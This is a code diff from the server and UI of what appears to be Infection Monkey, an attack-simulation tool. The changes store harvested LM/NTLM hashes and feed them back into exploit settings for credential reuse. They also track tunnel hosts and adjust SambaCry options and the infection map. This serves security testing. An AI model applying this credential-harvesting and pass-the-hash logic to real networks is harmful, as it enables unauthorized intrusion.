def process_tunnel_telemetry(self, telemetry_json):
|
||||||
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
|
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
|
||||||
if telemetry_json['data']['proxy'] is not None:
|
if telemetry_json['data']['proxy'] is not None:
|
||||||
host = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
|
tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
|
||||||
tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
|
NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip)
|
||||||
NodeService.set_monkey_tunnel(monkey_id, tunnel_host_id)
|
|
||||||
else:
|
else:
|
||||||
NodeService.unset_all_monkey_tunnels(monkey_id)
|
NodeService.unset_all_monkey_tunnels(monkey_id)
|
||||||
|
|
||||||
|
@ -155,5 +154,9 @@ class Telemetry(flask_restful.Resource):
|
||||||
ConfigService.creds_add_username(user)
|
ConfigService.creds_add_username(user)
|
||||||
if 'password' in creds[user]:
|
if 'password' in creds[user]:
|
||||||
ConfigService.creds_add_password(creds[user]['password'])
|
ConfigService.creds_add_password(creds[user]['password'])
|
||||||
|
if 'lm_hash' in creds[user]:
|
||||||
|
ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
|
||||||
|
if 'ntlm_hash' in creds[user]:
|
||||||
|
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -277,6 +277,12 @@ SCHEMA = {
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"default": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
"default": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
||||||
"description": "The name of the mutex used to determine whether the monkey is already running"
|
"description": "The name of the mutex used to determine whether the monkey is already running"
|
||||||
|
},
|
||||||
|
"keep_tunnel_open_time": {
|
||||||
|
"title": "Keep tunnel open time",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 60,
|
||||||
|
"description": "Time to keep tunnel open before going down after last exploit (in seconds)"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
@ -423,6 +429,32 @@ SCHEMA = {
|
||||||
"description": "The fullpath of the monkey log file on Windows"
|
"description": "The fullpath of the monkey log file on Windows"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
},
|
||||||
|
"exploits": {
|
||||||
|
"title": "Exploits",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"exploit_lm_hash_list": {
|
||||||
|
"title": "Exploit LM hash list",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [],
|
||||||
|
"description": "List of LM hashes to use on exploits using credentials"
|
||||||
|
},
|
||||||
|
"exploit_ntlm_hash_list": {
|
||||||
|
"title": "Exploit NTLM hash list",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [],
|
||||||
|
"description": "List of NTLM hashes to use on exploits using credentials"
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
@ -480,7 +512,7 @@ SCHEMA = {
|
||||||
"skip_exploit_if_file_exist": {
|
"skip_exploit_if_file_exist": {
|
||||||
"title": "Skip exploit if file exists",
|
"title": "Skip exploit if file exists",
|
||||||
"type": "boolean",
|
"type": "boolean",
|
||||||
"default": True,
|
"default": False,
|
||||||
"description": "Determines whether the monkey should skip the exploit if the monkey's file is already on the remote machine"
|
"description": "Determines whether the monkey should skip the exploit if the monkey's file is already on the remote machine"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -561,46 +593,6 @@ SCHEMA = {
|
||||||
"IPC$", "print$"
|
"IPC$", "print$"
|
||||||
],
|
],
|
||||||
"description": "These shares won't be checked when exploiting with SambaCry"
|
"description": "These shares won't be checked when exploiting with SambaCry"
|
||||||
},
|
|
||||||
"sambacry_commandline_filename": {
|
|
||||||
"title": "SambaCry commandline filename",
|
|
||||||
"type": "string",
|
|
||||||
"default": "monkey_commandline.txt",
|
|
||||||
},
|
|
||||||
"sambacry_runner_result_filename": {
|
|
||||||
"title": "SambaCry runner result filename",
|
|
||||||
"type": "string",
|
|
||||||
"default": "monkey_runner_result",
|
|
||||||
},
|
|
||||||
"sambacry_runner_filename_32": {
|
|
||||||
"title": "SambaCry runner filename (32 bit)",
|
|
||||||
"type": "string",
|
|
||||||
"default": "sc_monkey_runner32.so",
|
|
||||||
},
|
|
||||||
"sambacry_runner_filename_64": {
|
|
||||||
"title": "SambaCry runner filename (64 bit)",
|
|
||||||
"type": "string",
|
|
||||||
"default": "sc_monkey_runner64.so",
|
|
||||||
},
|
|
||||||
"sambacry_monkey_filename_32": {
|
|
||||||
"title": "SambaCry monkey filename (32 bit)",
|
|
||||||
"type": "string",
|
|
||||||
"default": "monkey32",
|
|
||||||
},
|
|
||||||
"sambacry_monkey_filename_64": {
|
|
||||||
"title": "SambaCry monkey filename (64 bit)",
|
|
||||||
"type": "string",
|
|
||||||
"default": "monkey64",
|
|
||||||
},
|
|
||||||
"sambacry_monkey_copy_filename_32": {
|
|
||||||
"title": "SambaCry monkey copy filename (32 bit)",
|
|
||||||
"type": "string",
|
|
||||||
"default": "monkey32_2",
|
|
||||||
},
|
|
||||||
"sambacry_monkey_copy_filename_64": {
|
|
||||||
"title": "SambaCry monkey copy filename (64 bit)",
|
|
||||||
"type": "string",
|
|
||||||
"default": "monkey64_2",
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
@ -818,20 +810,34 @@ class ConfigService:
|
||||||
return SCHEMA
|
return SCHEMA
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def creds_add_username(username):
|
def add_item_to_config_set(item_key, item_value):
|
||||||
mongo.db.config.update(
|
mongo.db.config.update(
|
||||||
{'name': 'newconfig'},
|
{'name': 'newconfig'},
|
||||||
{'$addToSet': {'exploits.credentials.exploit_user_list': username}},
|
{'$addToSet': {item_key: item_value}},
|
||||||
upsert=False
|
upsert=False
|
||||||
)
|
)
|
||||||
|
|
||||||
|
mongo.db.monkey.update(
|
||||||
|
{},
|
||||||
|
{'$addToSet': {'config.' + item_key.split('.')[-1]: item_value}},
|
||||||
|
multi=True
|
||||||
|
)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def creds_add_username(username):
|
||||||
|
ConfigService.add_item_to_config_set('basic.credentials.exploit_user_list', username)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def creds_add_password(password):
|
def creds_add_password(password):
|
||||||
mongo.db.config.update(
|
ConfigService.add_item_to_config_set('basic.credentials.exploit_password_list', password)
|
||||||
{'name': 'newconfig'},
|
|
||||||
{'$addToSet': {'exploits.credentials.exploit_password_list': password}},
|
@staticmethod
|
||||||
upsert=False
|
def creds_add_lm_hash(lm_hash):
|
||||||
)
|
ConfigService.add_item_to_config_set('internal.exploits.exploit_lm_hash_list', lm_hash)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def creds_add_ntlm_hash(ntlm_hash):
|
||||||
|
ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def update_config(config_json):
|
def update_config(config_json):
|
||||||
|
|
|
@ -22,7 +22,7 @@ class EdgeService:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def edge_to_displayed_edge(edge):
|
def edge_to_displayed_edge(edge):
|
||||||
services = {}
|
services = []
|
||||||
os = {}
|
os = {}
|
||||||
exploits = []
|
exploits = []
|
||||||
if len(edge["scans"]) > 0:
|
if len(edge["scans"]) > 0:
|
||||||
|
@ -52,6 +52,7 @@ class EdgeService:
|
||||||
exploit_container["end_timestamp"] = new_exploit["timestamp"]
|
exploit_container["end_timestamp"] = new_exploit["timestamp"]
|
||||||
|
|
||||||
displayed_edge = EdgeService.edge_to_net_edge(edge)
|
displayed_edge = EdgeService.edge_to_net_edge(edge)
|
||||||
|
|
||||||
displayed_edge["ip_address"] = edge["ip_address"]
|
displayed_edge["ip_address"] = edge["ip_address"]
|
||||||
displayed_edge["services"] = services
|
displayed_edge["services"] = services
|
||||||
displayed_edge["os"] = os
|
displayed_edge["os"] = os
|
||||||
|
|
|
@ -148,7 +148,8 @@ class NodeService:
|
||||||
upsert=False)
|
upsert=False)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def set_monkey_tunnel(monkey_id, tunnel_host_id):
|
def set_monkey_tunnel(monkey_id, tunnel_host_ip):
|
||||||
|
tunnel_host_id = NodeService.get_monkey_by_ip(tunnel_host_ip)["_id"]
|
||||||
NodeService.unset_all_monkey_tunnels(monkey_id)
|
NodeService.unset_all_monkey_tunnels(monkey_id)
|
||||||
mongo.db.monkey.update(
|
mongo.db.monkey.update(
|
||||||
{"_id": monkey_id},
|
{"_id": monkey_id},
|
||||||
|
@ -156,7 +157,7 @@ class NodeService:
|
||||||
upsert=False)
|
upsert=False)
|
||||||
tunnel_edge = EdgeService.get_or_create_edge(monkey_id, tunnel_host_id)
|
tunnel_edge = EdgeService.get_or_create_edge(monkey_id, tunnel_host_id)
|
||||||
mongo.db.edge.update({"_id": tunnel_edge["_id"]},
|
mongo.db.edge.update({"_id": tunnel_edge["_id"]},
|
||||||
{'$set': {'tunnel': True}},
|
{'$set': {'tunnel': True, 'ip_address': tunnel_host_ip}},
|
||||||
upsert=False)
|
upsert=False)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
|
|
@ -10,6 +10,8 @@ let groupNames = ['clean_linux', 'clean_windows', 'exploited_linux', 'exploited_
|
||||||
'manual_linux', 'manual_linux_running', 'manual_windows', 'manual_windows_running', 'monkey_linux',
|
'manual_linux', 'manual_linux_running', 'manual_windows', 'manual_windows_running', 'monkey_linux',
|
||||||
'monkey_linux_running', 'monkey_windows', 'monkey_windows_running'];
|
'monkey_linux_running', 'monkey_windows', 'monkey_windows_running'];
|
||||||
|
|
||||||
|
let legend = require('../../images/map-legend.png');
|
||||||
|
|
||||||
let getGroupsOptions = () => {
|
let getGroupsOptions = () => {
|
||||||
let groupOptions = {};
|
let groupOptions = {};
|
||||||
for (let groupName of groupNames) {
|
for (let groupName of groupNames) {
|
||||||
|
@ -28,6 +30,7 @@ let options = {
|
||||||
improvedLayout: false
|
improvedLayout: false
|
||||||
},
|
},
|
||||||
edges: {
|
edges: {
|
||||||
|
width: 2,
|
||||||
smooth: {
|
smooth: {
|
||||||
type: 'curvedCW'
|
type: 'curvedCW'
|
||||||
}
|
}
|
||||||
|
@ -55,7 +58,7 @@ class MapPageComponent extends React.Component {
|
||||||
case 'exploited':
|
case 'exploited':
|
||||||
return '#c00';
|
return '#c00';
|
||||||
case 'tunnel':
|
case 'tunnel':
|
||||||
return '#aaa';
|
return '#0058aa';
|
||||||
case 'scan':
|
case 'scan':
|
||||||
return '#f90';
|
return '#f90';
|
||||||
case 'island':
|
case 'island':
|
||||||
|
@ -123,6 +126,9 @@ class MapPageComponent extends React.Component {
|
||||||
<Col xs={12}>
|
<Col xs={12}>
|
||||||
<h1 className="page-title">Infection Map</h1>
|
<h1 className="page-title">Infection Map</h1>
|
||||||
</Col>
|
</Col>
|
||||||
|
<Col xs={12}>
|
||||||
|
<img src={legend}/>
|
||||||
|
</Col>
|
||||||
<Col xs={8}>
|
<Col xs={8}>
|
||||||
<Graph graph={this.state.graph} options={options} events={this.events}/>
|
<Graph graph={this.state.graph} options={options} events={this.events}/>
|
||||||
</Col>
|
</Col>
|
||||||
|
|
|
@ -134,13 +134,18 @@ class RunMonkeyPageComponent extends React.Component {
|
||||||
Run on C&C Server
|
Run on C&C Server
|
||||||
{ this.renderIconByState(this.state.runningOnIslandState) }
|
{ this.renderIconByState(this.state.runningOnIslandState) }
|
||||||
</button>
|
</button>
|
||||||
<a
|
{
|
||||||
|
// TODO: implement button functionality
|
||||||
|
/*
|
||||||
|
<button
|
||||||
className="btn btn-default"
|
className="btn btn-default"
|
||||||
disabled={this.state.runningOnClientState !== 'not_running'}
|
disabled={this.state.runningOnClientState !== 'not_running'}
|
||||||
style={{'marginLeft': '1em'}}>
|
style={{'marginLeft': '1em'}}>
|
||||||
Download and run locally
|
Download and run locally
|
||||||
{ this.renderIconByState(this.state.runningOnClientState) }
|
{ this.renderIconByState(this.state.runningOnClientState) }
|
||||||
</a>
|
</button>
|
||||||
|
*/
|
||||||
|
}
|
||||||
</p>
|
</p>
|
||||||
<div className="run-monkey-snippets" style={{'marginBottom': '3em'}}>
|
<div className="run-monkey-snippets" style={{'marginBottom': '3em'}}>
|
||||||
<p>
|
<p>
|
||||||
|
|
Binary file not shown.
After Width: | Height: | Size: 2.5 KiB |
Loading…
Reference in New Issue